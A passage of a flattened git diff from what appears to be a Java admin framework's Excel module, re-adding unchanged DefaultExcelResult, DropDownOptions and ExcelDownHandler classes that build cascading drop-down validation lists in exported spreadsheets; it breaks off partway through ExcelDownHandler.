Yjoioooo + * @author Lion Li + */ +public class DefaultExcelResult implements ExcelResult { + + /** + * 数据对象list + */ + @Setter + private List list; + + /** + * 错误信息列表 + */ + @Setter + private List errorList; + + public DefaultExcelResult() { + this.list = new ArrayList<>(); + this.errorList = new ArrayList<>(); + } + + public DefaultExcelResult(List list, List errorList) { + this.list = list; + this.errorList = errorList; + } + + public DefaultExcelResult(ExcelResult excelResult) { + this.list = excelResult.getList(); + this.errorList = excelResult.getErrorList(); + } + + @Override + public List getList() { + return list; + } + + @Override + public List getErrorList() { + return errorList; + } + + /** + * 获取导入回执 + * + * @return 导入回执 + */ + @Override + public String getAnalysis() { + int successCount = list.size(); + int errorCount = errorList.size(); + if (successCount == 0) { + return "读取失败,未解析到数据"; + } else { + if (errorCount == 0) { + return StrUtil.format("恭喜您,全部读取成功!共{}条", successCount); + } else { + return ""; + } + } + } +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DropDownOptions.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DropDownOptions.java index 8b53a0c..4484415 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DropDownOptions.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/DropDownOptions.java @@ -1,149 +1,149 @@ -package org.dromara.common.excel.core; - -import cn.hutool.core.util.StrUtil; -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.core.exception.ServiceException; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.function.Function; -import java.util.stream.Collectors; - -/** - *

Excel下拉可选项

- * 注意:为确保下拉框解析正确,传值务必使用createOptionValue()做为值的拼接 - * - * @author Emil.Zhang - */ -@Data -@AllArgsConstructor -@NoArgsConstructor -@SuppressWarnings("unused") -public class DropDownOptions { - /** - * 一级下拉所在列index,从0开始算 - */ - private int index = 0; - /** - * 二级下拉所在的index,从0开始算,不能与一级相同 - */ - private int nextIndex = 0; - /** - * 一级下拉所包含的数据 - */ - private List options = new ArrayList<>(); - /** - * 二级下拉所包含的数据Map - *

以每一个一级选项值为Key,每个一级选项对应的二级数据为Value

- */ - private Map> nextOptions = new HashMap<>(); - /** - * 分隔符 - */ - private static final String DELIMITER = "_"; - - /** - * 创建只有一级的下拉选 - */ - public DropDownOptions(int index, List options) { - this.index = index; - this.options = options; - } - - /** - *

创建每个选项可选值

- *

注意:不能以数字,特殊符号开头,选项中不可以包含任何运算符号

- * - * @param vars 可选值内包含的参数 - * @return 合规的可选值 - */ - public static String createOptionValue(Object... vars) { - StringBuilder stringBuffer = new StringBuilder(); - String regex = "^[\\S\\d\\u4e00-\\u9fa5]+$"; - for (int i = 0; i < vars.length; i++) { - String var = StrUtil.trimToEmpty(String.valueOf(vars[i])); - if (!var.matches(regex)) { - throw new ServiceException("选项数据不符合规则,仅允许使用中英文字符以及数字"); - } - stringBuffer.append(var); - if (i < vars.length - 1) { - // 直至最后一个前,都以_作为切割线 - stringBuffer.append(DELIMITER); - } - } - if (stringBuffer.toString().matches("^\\d_*$")) { - throw new ServiceException("禁止以数字开头"); - } - return stringBuffer.toString(); - } - - /** - * 将处理后合理的可选值解析为原始的参数 - * - * @param option 经过处理后的合理的可选项 - * @return 原始的参数 - */ - public static List analyzeOptionValue(String option) { - return StrUtil.split(option, DELIMITER, true, true); - } - - /** - * 创建级联下拉选项 - * - * @param parentList 父实体可选项原始数据 - * @param parentIndex 父下拉选位置 - * @param sonList 子实体可选项原始数据 - * @param sonIndex 子下拉选位置 - * @param parentHowToGetIdFunction 父类如何获取唯一标识 - * @param sonHowToGetParentIdFunction 子类如何获取父类的唯一标识 - * @param howToBuildEveryOption 如何生成下拉选内容 - * @return 级联下拉选项 - */ - public static DropDownOptions buildLinkedOptions(List parentList, - int parentIndex, - List sonList, - int sonIndex, - Function parentHowToGetIdFunction, - Function sonHowToGetParentIdFunction, - Function howToBuildEveryOption) { - DropDownOptions parentLinkSonOptions = new DropDownOptions(); - // 先创建父类的下拉 - parentLinkSonOptions.setIndex(parentIndex); - parentLinkSonOptions.setOptions( - parentList.stream() - .map(howToBuildEveryOption) - .collect(Collectors.toList()) - ); - // 提取父-子级联下拉 - Map> sonOptions = new HashMap<>(); - // 父级依据自己的ID分组 - Map> parentGroupByIdMap = - parentList.stream().collect(Collectors.groupingBy(parentHowToGetIdFunction)); - // 遍历每个子集,提取到Map中 - sonList.forEach(everySon -> { - if (parentGroupByIdMap.containsKey(sonHowToGetParentIdFunction.apply(everySon))) { - // 找到对应的上级 - T parentObj = parentGroupByIdMap.get(sonHowToGetParentIdFunction.apply(everySon)).get(0); - // 提取名称和ID作为Key - String key = howToBuildEveryOption.apply(parentObj); - // Key对应的Value - List thisParentSonOptionList; - if (sonOptions.containsKey(key)) { - thisParentSonOptionList = sonOptions.get(key); - } else { - thisParentSonOptionList = new ArrayList<>(); - sonOptions.put(key, thisParentSonOptionList); - } - // 往Value中添加当前子集选项 - thisParentSonOptionList.add(howToBuildEveryOption.apply(everySon)); - } - }); - parentLinkSonOptions.setNextIndex(sonIndex); - parentLinkSonOptions.setNextOptions(sonOptions); - return parentLinkSonOptions; - } -} +package org.dromara.common.excel.core; + +import cn.hutool.core.util.StrUtil; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.core.exception.ServiceException; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Function; +import java.util.stream.Collectors; + +/** + *

Excel下拉可选项

+ * 注意:为确保下拉框解析正确,传值务必使用createOptionValue()做为值的拼接 + * + * @author Emil.Zhang + */ +@Data +@AllArgsConstructor +@NoArgsConstructor +@SuppressWarnings("unused") +public class DropDownOptions { + /** + * 一级下拉所在列index,从0开始算 + */ + private int index = 0; + /** + * 二级下拉所在的index,从0开始算,不能与一级相同 + */ + private int nextIndex = 0; + /** + * 一级下拉所包含的数据 + */ + private List options = new ArrayList<>(); + /** + * 二级下拉所包含的数据Map + *

以每一个一级选项值为Key,每个一级选项对应的二级数据为Value

+ */ + private Map> nextOptions = new HashMap<>(); + /** + * 分隔符 + */ + private static final String DELIMITER = "_"; + + /** + * 创建只有一级的下拉选 + */ + public DropDownOptions(int index, List options) { + this.index = index; + this.options = options; + } + + /** + *

创建每个选项可选值

+ *

注意:不能以数字,特殊符号开头,选项中不可以包含任何运算符号

+ * + * @param vars 可选值内包含的参数 + * @return 合规的可选值 + */ + public static String createOptionValue(Object... vars) { + StringBuilder stringBuffer = new StringBuilder(); + String regex = "^[\\S\\d\\u4e00-\\u9fa5]+$"; + for (int i = 0; i < vars.length; i++) { + String var = StrUtil.trimToEmpty(String.valueOf(vars[i])); + if (!var.matches(regex)) { + throw new ServiceException("选项数据不符合规则,仅允许使用中英文字符以及数字"); + } + stringBuffer.append(var); + if (i < vars.length - 1) { + // 直至最后一个前,都以_作为切割线 + stringBuffer.append(DELIMITER); + } + } + if (stringBuffer.toString().matches("^\\d_*$")) { + throw new ServiceException("禁止以数字开头"); + } + return stringBuffer.toString(); + } + + /** + * 将处理后合理的可选值解析为原始的参数 + * + * @param option 经过处理后的合理的可选项 + * @return 原始的参数 + */ + public static List analyzeOptionValue(String option) { + return StrUtil.split(option, DELIMITER, true, true); + } + + /** + * 创建级联下拉选项 + * + * @param parentList 父实体可选项原始数据 + * @param parentIndex 父下拉选位置 + * @param sonList 子实体可选项原始数据 + * @param sonIndex 子下拉选位置 + * @param parentHowToGetIdFunction 父类如何获取唯一标识 + * @param sonHowToGetParentIdFunction 子类如何获取父类的唯一标识 + * @param howToBuildEveryOption 如何生成下拉选内容 + * @return 级联下拉选项 + */ + public static DropDownOptions buildLinkedOptions(List parentList, + int parentIndex, + List sonList, + int sonIndex, + Function parentHowToGetIdFunction, + Function sonHowToGetParentIdFunction, + Function howToBuildEveryOption) { + DropDownOptions parentLinkSonOptions = new DropDownOptions(); + // 先创建父类的下拉 + parentLinkSonOptions.setIndex(parentIndex); + parentLinkSonOptions.setOptions( + parentList.stream() + .map(howToBuildEveryOption) + .collect(Collectors.toList()) + ); + // 提取父-子级联下拉 + Map> sonOptions = new HashMap<>(); + // 父级依据自己的ID分组 + Map> parentGroupByIdMap = + parentList.stream().collect(Collectors.groupingBy(parentHowToGetIdFunction)); + // 遍历每个子集,提取到Map中 + sonList.forEach(everySon -> { + if (parentGroupByIdMap.containsKey(sonHowToGetParentIdFunction.apply(everySon))) { + // 找到对应的上级 + T parentObj = parentGroupByIdMap.get(sonHowToGetParentIdFunction.apply(everySon)).get(0); + // 提取名称和ID作为Key + String key = howToBuildEveryOption.apply(parentObj); + // Key对应的Value + List thisParentSonOptionList; + if (sonOptions.containsKey(key)) { + thisParentSonOptionList = sonOptions.get(key); + } else { + thisParentSonOptionList = new ArrayList<>(); + sonOptions.put(key, thisParentSonOptionList); + } + // 往Value中添加当前子集选项 + thisParentSonOptionList.add(howToBuildEveryOption.apply(everySon)); + } + }); + parentLinkSonOptions.setNextIndex(sonIndex); + parentLinkSonOptions.setNextOptions(sonOptions); + return parentLinkSonOptions; + } +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelDownHandler.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelDownHandler.java index 32fee7a..f2d9bc6 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelDownHandler.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/core/ExcelDownHandler.java @@ -1,399 +1,399 @@ -package org.dromara.common.excel.core; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.EnumUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import com.alibaba.excel.metadata.FieldCache; -import com.alibaba.excel.metadata.FieldWrapper; -import com.alibaba.excel.util.ClassUtils; -import com.alibaba.excel.write.handler.SheetWriteHandler; -import com.alibaba.excel.write.metadata.holder.WriteSheetHolder; -import com.alibaba.excel.write.metadata.holder.WriteWorkbookHolder; -import lombok.extern.slf4j.Slf4j; -import org.apache.poi.ss.usermodel.*; -import org.apache.poi.ss.util.CellRangeAddressList; -import org.apache.poi.ss.util.WorkbookUtil; -import org.apache.poi.xssf.usermodel.XSSFDataValidation; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.DictService; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.annotation.ExcelEnumFormat; - -import java.lang.reflect.Field; -import java.util.*; - -/** - *

Excel表格下拉选操作

- * 考虑到下拉选过多可能导致Excel打开缓慢的问题,只校验前1000行 - *

- * 即只有前1000行的数据可以用下拉框,超出的自行通过限制数据量的形式,第二次输出 - * - * @author Emil.Zhang - */ -@Slf4j -public class ExcelDownHandler implements SheetWriteHandler { - - /** - * Excel表格中的列名英文 - * 仅为了解析列英文,禁止修改 - */ - private static final String EXCEL_COLUMN_NAME = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - /** - * 单选数据Sheet名 - */ - private static final String OPTIONS_SHEET_NAME = "options"; - /** - * 联动选择数据Sheet名的头 - */ - private static final String LINKED_OPTIONS_SHEET_NAME = "linkedOptions"; - /** - * 下拉可选项 - */ - private final List dropDownOptions; - private final DictService dictService; - /** - * 当前单选进度 - */ - private int currentOptionsColumnIndex; - /** - * 当前联动选择进度 - */ - private int currentLinkedOptionsSheetIndex; - - public ExcelDownHandler(List options) { - this.dropDownOptions = options; - this.currentOptionsColumnIndex = 0; - this.currentLinkedOptionsSheetIndex = 0; - this.dictService = SpringUtils.getBean(DictService.class); - } - - /** - *

开始创建下拉数据

- * 1.通过解析传入的@ExcelProperty同级是否标注有@DropDown选项 - * 如果有且设置了value值,则将其直接置为下拉可选项 - *

- * 2.或者在调用ExcelUtil时指定了可选项,将依据传入的可选项做下拉 - *

- * 3.二者并存,注意调用方式 - */ - @Override - public void afterSheetCreate(WriteWorkbookHolder writeWorkbookHolder, WriteSheetHolder writeSheetHolder) { - Sheet sheet = writeSheetHolder.getSheet(); - // 开始设置下拉框 HSSFWorkbook - DataValidationHelper helper = sheet.getDataValidationHelper(); - Workbook workbook = writeWorkbookHolder.getWorkbook(); - FieldCache fieldCache = ClassUtils.declaredFields(writeWorkbookHolder.getClazz(), writeWorkbookHolder); - for (Map.Entry entry : fieldCache.getSortedFieldMap().entrySet()) { - Integer index = entry.getKey(); - FieldWrapper wrapper = entry.getValue(); - Field field = wrapper.getField(); - // 循环实体中的每个属性 - // 可选的下拉值 - List options = new ArrayList<>(); - if (field.isAnnotationPresent(ExcelDictFormat.class)) { - // 如果指定了@ExcelDictFormat,则使用字典的逻辑 - ExcelDictFormat format = field.getDeclaredAnnotation(ExcelDictFormat.class); - String dictType = format.dictType(); - String converterExp = format.readConverterExp(); - if (StringUtils.isNotBlank(dictType)) { - // 如果传递了字典名,则依据字典建立下拉 - Collection values = Optional.ofNullable(dictService.getAllDictByDictType(dictType)) - .orElseThrow(() -> new ServiceException(String.format("字典 %s 不存在", dictType))) - .values(); - options = new ArrayList<>(values); - } else if (StringUtils.isNotBlank(converterExp)) { - // 如果指定了确切的值,则直接解析确切的值 - List strList = StringUtils.splitList(converterExp, format.separator()); - options = StreamUtils.toList(strList, s -> StringUtils.split(s, "=")[1]); - } - } else if (field.isAnnotationPresent(ExcelEnumFormat.class)) { - // 否则如果指定了@ExcelEnumFormat,则使用枚举的逻辑 - ExcelEnumFormat format = field.getDeclaredAnnotation(ExcelEnumFormat.class); - List values = EnumUtil.getFieldValues(format.enumClass(), format.textField()); - options = StreamUtils.toList(values, String::valueOf); - } - if (ObjectUtil.isNotEmpty(options)) { - // 仅当下拉可选项不为空时执行 - if (options.size() > 20) { - // 这里限制如果可选项大于20,则使用额外表形式 - dropDownWithSheet(helper, workbook, sheet, index, options); - } else { - // 否则使用固定值形式 - dropDownWithSimple(helper, sheet, index, options); - } - } - } - if (CollUtil.isEmpty(dropDownOptions)) { - return; - } - dropDownOptions.forEach(everyOptions -> { - // 如果传递了下拉框选择器参数 - if (!everyOptions.getNextOptions().isEmpty()) { - // 当二级选项不为空时,使用额外关联表的形式 - dropDownLinkedOptions(helper, workbook, sheet, everyOptions); - } else if (everyOptions.getOptions().size() > 10) { - // 当一级选项参数个数大于10,使用额外表的形式 - dropDownWithSheet(helper, workbook, sheet, everyOptions.getIndex(), everyOptions.getOptions()); - } else { - // 否则使用默认形式 - dropDownWithSimple(helper, sheet, everyOptions.getIndex(), everyOptions.getOptions()); - } - }); - } - - /** - *

简单下拉框

- * 直接将可选项拼接为指定列的数据校验值 - * - * @param celIndex 列index - * @param value 下拉选可选值 - */ - private void dropDownWithSimple(DataValidationHelper helper, Sheet sheet, Integer celIndex, List value) { - if (ObjectUtil.isEmpty(value)) { - return; - } - this.markOptionsToSheet(helper, sheet, celIndex, helper.createExplicitListConstraint(ArrayUtil.toArray(value, String.class))); - } - - /** - *

额外表格形式的级联下拉框

- * - * @param options 额外表格形式存储的下拉可选项 - */ - private void dropDownLinkedOptions(DataValidationHelper helper, Workbook workbook, Sheet sheet, DropDownOptions options) { - String linkedOptionsSheetName = String.format("%s_%d", LINKED_OPTIONS_SHEET_NAME, currentLinkedOptionsSheetIndex); - // 创建联动下拉数据表 - Sheet linkedOptionsDataSheet = workbook.createSheet(WorkbookUtil.createSafeSheetName(linkedOptionsSheetName)); - // 将下拉表隐藏 - workbook.setSheetHidden(workbook.getSheetIndex(linkedOptionsDataSheet), true); - // 选项数据 - List firstOptions = options.getOptions(); - Map> secoundOptionsMap = options.getNextOptions(); - - // 采用按行填充数据的方式,避免EasyExcel出现数据无法写入的问题 - // Attempting to write a row in the range that is already written to disk - - // 使用ArrayList记载数据,防止乱序 - List columnNames = new ArrayList<>(); - // 写入第一行,即第一级的数据 - Row firstRow = linkedOptionsDataSheet.createRow(0); - for (int columnIndex = 0; columnIndex < firstOptions.size(); columnIndex++) { - String columnName = firstOptions.get(columnIndex); - firstRow.createCell(columnIndex) - .setCellValue(columnName); - columnNames.add(columnName); - } - - // 创建名称管理器 - Name name = workbook.createName(); - // 设置名称管理器的别名 - name.setNameName(linkedOptionsSheetName); - // 以横向第一行创建一级下拉拼接引用位置 - String firstOptionsFunction = String.format("%s!$%s$1:$%s$1", - linkedOptionsSheetName, - getExcelColumnName(0), - getExcelColumnName(firstOptions.size()) - ); - // 设置名称管理器的引用位置 - name.setRefersToFormula(firstOptionsFunction); - // 设置数据校验为序列模式,引用的是名称管理器中的别名 - this.markOptionsToSheet(helper, sheet, options.getIndex(), helper.createFormulaListConstraint(linkedOptionsSheetName)); - - // 创建二级选项的名称管理器 - for (int columIndex = 0; columIndex < columnNames.size(); columIndex++) { - // 列名 - String firstOptionsColumnName = getExcelColumnName(columIndex); - // 对应的一级值 - String thisFirstOptionsValue = columnNames.get(columIndex); - - // 以该一级选项值创建子名称管理器 - Name sonName = workbook.createName(); - // 设置名称管理器的别名 - sonName.setNameName(thisFirstOptionsValue); - // 以第二行该列数据拼接引用位置 - String sonFunction = String.format("%s!$%s$2:$%s$%d", - linkedOptionsSheetName, - firstOptionsColumnName, - firstOptionsColumnName, - // 二级选项存在则设置为(选项个数+1)行,否则设置为2行 - Math.max(Optional.ofNullable(secoundOptionsMap.get(thisFirstOptionsValue)) - .orElseGet(ArrayList::new).size(), 1) + 1 - ); - // 设置名称管理器的引用位置 - sonName.setRefersToFormula(sonFunction); - // 数据验证为序列模式,引用到每一个主表中的二级选项位置 - // 创建子项的名称管理器,只是为了使得Excel可以识别到数据 - String mainSheetFirstOptionsColumnName = getExcelColumnName(options.getIndex()); - for (int i = 0; i < 100; i++) { - // 以一级选项对应的主体所在位置创建二级下拉 - String secondOptionsFunction = String.format("=INDIRECT(%s%d)", mainSheetFirstOptionsColumnName, i + 1); - // 二级只能主表每一行的每一列添加二级校验 - markLinkedOptionsToSheet(helper, sheet, i, options.getNextIndex(), helper.createFormulaListConstraint(secondOptionsFunction)); - } - } - - // 将二级数据处理为按行区分 - Map> columnValueMap = new HashMap<>(); - int currentRow = 1; - while (currentRow >= 0) { - boolean flag = false; - List rowData = new ArrayList<>(); - for (String columnName : columnNames) { - List data = secoundOptionsMap.get(columnName); - if (CollUtil.isEmpty(data)) { - // 添加空字符串填充位置 - rowData.add(" "); - continue; - } - // 取第一个 - String str = data.get(0); - rowData.add(str); - // 通过移除的方式避免重复 - data.remove(0); - // 设置可以继续 - flag = true; - } - columnValueMap.put(currentRow, rowData); - // 可以继续,则增加行数,否则置为负数跳出循环 - if (flag) { - currentRow++; - } else { - currentRow = -1; - } - } - - // 填充第二级选项数据 - columnValueMap.forEach((rowIndex, rowValues) -> { - Row row = linkedOptionsDataSheet.createRow(rowIndex); - for (int columnIndex = 0; columnIndex < rowValues.size(); columnIndex++) { - String rowValue = rowValues.get(columnIndex); - // 填充位置的部分不渲染 - if (StrUtil.isNotBlank(rowValue)) { - row.createCell(columnIndex) - .setCellValue(rowValue); - } - } - }); - - currentLinkedOptionsSheetIndex++; - } - - /** - *

额外表格形式的普通下拉框

- * 由于下拉框可选值数量过多,为提升Excel打开效率,使用额外表格形式做下拉 - * - * @param celIndex 下拉选 - * @param value 下拉选可选值 - */ - private void dropDownWithSheet(DataValidationHelper helper, Workbook workbook, Sheet sheet, Integer celIndex, List value) { - // 创建下拉数据表 - Sheet simpleDataSheet = Optional.ofNullable(workbook.getSheet(WorkbookUtil.createSafeSheetName(OPTIONS_SHEET_NAME))) - .orElseGet(() -> workbook.createSheet(WorkbookUtil.createSafeSheetName(OPTIONS_SHEET_NAME))); - // 将下拉表隐藏 - workbook.setSheetHidden(workbook.getSheetIndex(simpleDataSheet), true); - // 完善纵向的一级选项数据表 - for (int i = 0; i < value.size(); i++) { - int finalI = i; - // 获取每一选项行,如果没有则创建 - Row row = Optional.ofNullable(simpleDataSheet.getRow(i)) - .orElseGet(() -> simpleDataSheet.createRow(finalI)); - // 获取本级选项对应的选项列,如果没有则创建 - Cell cell = Optional.ofNullable(row.getCell(currentOptionsColumnIndex)) - .orElseGet(() -> row.createCell(currentOptionsColumnIndex)); - // 设置值 - cell.setCellValue(value.get(i)); - } - - // 创建名称管理器 - Name name = workbook.createName(); - // 设置名称管理器的别名 - String nameName = String.format("%s_%d", OPTIONS_SHEET_NAME, celIndex); - name.setNameName(nameName); - // 以纵向第一列创建一级下拉拼接引用位置 - String function = String.format("%s!$%s$1:$%s$%d", - OPTIONS_SHEET_NAME, - getExcelColumnName(currentOptionsColumnIndex), - getExcelColumnName(currentOptionsColumnIndex), - value.size()); - // 设置名称管理器的引用位置 - name.setRefersToFormula(function); - // 设置数据校验为序列模式,引用的是名称管理器中的别名 - this.markOptionsToSheet(helper, sheet, celIndex, helper.createFormulaListConstraint(nameName)); - currentOptionsColumnIndex++; - } - - /** - * 挂载下拉的列,仅限一级选项 - */ - private void markOptionsToSheet(DataValidationHelper helper, Sheet sheet, Integer celIndex, - DataValidationConstraint constraint) { - // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 - CellRangeAddressList addressList = new CellRangeAddressList(1, 1000, celIndex, celIndex); - markDataValidationToSheet(helper, sheet, constraint, addressList); - } - - /** - * 挂载下拉的列,仅限二级选项 - */ - private void markLinkedOptionsToSheet(DataValidationHelper helper, Sheet sheet, Integer rowIndex, - Integer celIndex, DataValidationConstraint constraint) { - // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 - CellRangeAddressList addressList = new CellRangeAddressList(rowIndex, rowIndex, celIndex, celIndex); - markDataValidationToSheet(helper, sheet, constraint, addressList); - } - - /** - * 应用数据校验 - */ - private void markDataValidationToSheet(DataValidationHelper helper, Sheet sheet, - DataValidationConstraint constraint, CellRangeAddressList addressList) { - // 数据有效性对象 - DataValidation dataValidation = helper.createValidation(constraint, addressList); - // 处理Excel兼容性问题 - if (dataValidation instanceof XSSFDataValidation) { - //数据校验 - dataValidation.setSuppressDropDownArrow(true); - //错误提示 - dataValidation.setErrorStyle(DataValidation.ErrorStyle.STOP); - dataValidation.createErrorBox("提示", "此值与单元格定义数据不一致"); - dataValidation.setShowErrorBox(true); - //选定提示 - dataValidation.createPromptBox("填写说明:", "填写内容只能为下拉中数据,其他数据将导致导入失败"); - dataValidation.setShowPromptBox(true); - sheet.addValidationData(dataValidation); - } else { - dataValidation.setSuppressDropDownArrow(false); - } - sheet.addValidationData(dataValidation); - } - - /** - *

依据列index获取列名英文

- * 依据列index转换为Excel中的列名英文 - *

例如第1列,index为0,解析出来为A列

- * 第27列,index为26,解析为AA列 - *

第28列,index为27,解析为AB列

- * - * @param columnIndex 列index - * @return 列index所在得英文名 - */ - private String getExcelColumnName(int columnIndex) { - // 26一循环的次数 - int columnCircleCount = columnIndex / 26; - // 26一循环内的位置 - int thisCircleColumnIndex = columnIndex % 26; - // 26一循环的次数大于0,则视为栏名至少两位 - String columnPrefix = columnCircleCount == 0 - ? StrUtil.EMPTY - : StrUtil.subWithLength(EXCEL_COLUMN_NAME, columnCircleCount - 1, 1); - // 从26一循环内取对应的栏位名 - String columnNext = StrUtil.subWithLength(EXCEL_COLUMN_NAME, thisCircleColumnIndex, 1); - // 将二者拼接即为最终的栏位名 - return columnPrefix + columnNext; - } -} +package org.dromara.common.excel.core; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.EnumUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import com.alibaba.excel.metadata.FieldCache; +import com.alibaba.excel.metadata.FieldWrapper; +import com.alibaba.excel.util.ClassUtils; +import com.alibaba.excel.write.handler.SheetWriteHandler; +import com.alibaba.excel.write.metadata.holder.WriteSheetHolder; +import com.alibaba.excel.write.metadata.holder.WriteWorkbookHolder; +import lombok.extern.slf4j.Slf4j; +import org.apache.poi.ss.usermodel.*; +import org.apache.poi.ss.util.CellRangeAddressList; +import org.apache.poi.ss.util.WorkbookUtil; +import org.apache.poi.xssf.usermodel.XSSFDataValidation; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.DictService; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.annotation.ExcelEnumFormat; + +import java.lang.reflect.Field; +import java.util.*; + +/** + *

Excel表格下拉选操作

+ * 考虑到下拉选过多可能导致Excel打开缓慢的问题,只校验前1000行 + *

+ * 即只有前1000行的数据可以用下拉框,超出的自行通过限制数据量的形式,第二次输出 + * + * @author Emil.Zhang + */ +@Slf4j +public class ExcelDownHandler implements SheetWriteHandler { + + /** + * Excel表格中的列名英文 + * 仅为了解析列英文,禁止修改 + */ + private static final String EXCEL_COLUMN_NAME = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + /** + * 单选数据Sheet名 + */ + private static final String OPTIONS_SHEET_NAME = "options"; + /** + * 联动选择数据Sheet名的头 + */ + private static final String LINKED_OPTIONS_SHEET_NAME = "linkedOptions"; + /** + * 下拉可选项 + */ + private final List dropDownOptions; + private final DictService dictService; + /** + * 当前单选进度 + */ + private int currentOptionsColumnIndex; + /** + * 当前联动选择进度 + */ + private int currentLinkedOptionsSheetIndex; + + public ExcelDownHandler(List options) { + this.dropDownOptions = options; + this.currentOptionsColumnIndex = 0; + this.currentLinkedOptionsSheetIndex = 0; + this.dictService = SpringUtils.getBean(DictService.class); + } + + /** + *

开始创建下拉数据

+ * 1.通过解析传入的@ExcelProperty同级是否标注有@DropDown选项 + * 如果有且设置了value值,则将其直接置为下拉可选项 + *

+ * 2.或者在调用ExcelUtil时指定了可选项,将依据传入的可选项做下拉 + *

+ * 3.二者并存,注意调用方式 + */ + @Override + public void afterSheetCreate(WriteWorkbookHolder writeWorkbookHolder, WriteSheetHolder writeSheetHolder) { + Sheet sheet = writeSheetHolder.getSheet(); + // 开始设置下拉框 HSSFWorkbook + DataValidationHelper helper = sheet.getDataValidationHelper(); + Workbook workbook = writeWorkbookHolder.getWorkbook(); + FieldCache fieldCache = ClassUtils.declaredFields(writeWorkbookHolder.getClazz(), writeWorkbookHolder); + for (Map.Entry entry : fieldCache.getSortedFieldMap().entrySet()) { + Integer index = entry.getKey(); + FieldWrapper wrapper = entry.getValue(); + Field field = wrapper.getField(); + // 循环实体中的每个属性 + // 可选的下拉值 + List options = new ArrayList<>(); + if (field.isAnnotationPresent(ExcelDictFormat.class)) { + // 如果指定了@ExcelDictFormat,则使用字典的逻辑 + ExcelDictFormat format = field.getDeclaredAnnotation(ExcelDictFormat.class); + String dictType = format.dictType(); + String converterExp = format.readConverterExp(); + if (StringUtils.isNotBlank(dictType)) { + // 如果传递了字典名,则依据字典建立下拉 + Collection values = Optional.ofNullable(dictService.getAllDictByDictType(dictType)) + .orElseThrow(() -> new ServiceException(String.format("字典 %s 不存在", dictType))) + .values(); + options = new ArrayList<>(values); + } else if (StringUtils.isNotBlank(converterExp)) { + // 如果指定了确切的值,则直接解析确切的值 + List strList = StringUtils.splitList(converterExp, format.separator()); + options = StreamUtils.toList(strList, s -> StringUtils.split(s, "=")[1]); + } + } else if (field.isAnnotationPresent(ExcelEnumFormat.class)) { + // 否则如果指定了@ExcelEnumFormat,则使用枚举的逻辑 + ExcelEnumFormat format = field.getDeclaredAnnotation(ExcelEnumFormat.class); + List values = EnumUtil.getFieldValues(format.enumClass(), format.textField()); + options = StreamUtils.toList(values, String::valueOf); + } + if (ObjectUtil.isNotEmpty(options)) { + // 仅当下拉可选项不为空时执行 + if (options.size() > 20) { + // 这里限制如果可选项大于20,则使用额外表形式 + dropDownWithSheet(helper, workbook, sheet, index, options); + } else { + // 否则使用固定值形式 + dropDownWithSimple(helper, sheet, index, options); + } + } + } + if (CollUtil.isEmpty(dropDownOptions)) { + return; + } + dropDownOptions.forEach(everyOptions -> { + // 如果传递了下拉框选择器参数 + if (!everyOptions.getNextOptions().isEmpty()) { + // 当二级选项不为空时,使用额外关联表的形式 + dropDownLinkedOptions(helper, workbook, sheet, everyOptions); + } else if (everyOptions.getOptions().size() > 10) { + // 当一级选项参数个数大于10,使用额外表的形式 + dropDownWithSheet(helper, workbook, sheet, everyOptions.getIndex(), everyOptions.getOptions()); + } else { + // 否则使用默认形式 + dropDownWithSimple(helper, sheet, everyOptions.getIndex(), everyOptions.getOptions()); + } + }); + } + + /** + *

简单下拉框

+ * 直接将可选项拼接为指定列的数据校验值 + * + * @param celIndex 列index + * @param value 下拉选可选值 + */ + private void dropDownWithSimple(DataValidationHelper helper, Sheet sheet, Integer celIndex, List value) { + if (ObjectUtil.isEmpty(value)) { + return; + } + this.markOptionsToSheet(helper, sheet, celIndex, helper.createExplicitListConstraint(ArrayUtil.toArray(value, String.class))); + } + + /** + *

额外表格形式的级联下拉框

